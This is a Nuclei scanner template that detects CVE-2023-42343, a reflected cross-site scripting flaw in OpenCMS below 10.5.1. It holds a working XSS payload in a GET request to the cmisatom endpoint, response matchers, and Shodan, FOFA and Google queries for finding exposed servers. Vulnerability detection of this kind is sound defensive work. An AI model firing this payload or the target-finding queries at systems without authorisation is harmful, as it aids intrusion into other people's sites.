id: CVE-2023-42343

info:
  name: OpenCMS - Cross-Site Scripting
  author: DhiyaneshDK
  severity: medium
  description: |
    OpenCMS below 10.5.1 is vulnerable to Cross-Site Scripting vulnerability.
  remediation: Fixed in 10.5.1.
  reference:
    - https://labs.watchtowr.com/xxe-you-can-depend-on-me-opencms/
  classification:
    cve-id: CVE-2023-42343
  metadata:
    verified: true
    max-request: 1
    shodan-query:
      - "/opencms/"
      - http.title:"opencms"
      - cpe:"cpe:2.3:a:alkacon:opencms"
    product: opencms
    vendor: alkacon
    fofa-query: title="opencms"
    google-query: intitle:"opencms"
  tags: cve,cve2023,xss,opencms

http:
  - method: GET
    path:
      - '{{BaseURL}}/opencms/cmisatom/cmis-online/type?id=1%27"><svg%20onload=alert(document.domain)>'
    headers:
      Content-Type: application/cmisquery+xml

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Apache Chemistry OpenCMIS'
          - '<svg onload=alert(document.domain)>'
        condition: and
# digest: 490a00463044022011cb29f68cb4a38c431bfa6f66cb8d480f2fb9c4c0f65b6f90794dbb2907405f022023de59e95b19d5f87a415a7b1a9f692ccd5d9e7ed0ff75ff8388ca5985772c83:922c64590222798bb761d5b6d8e72950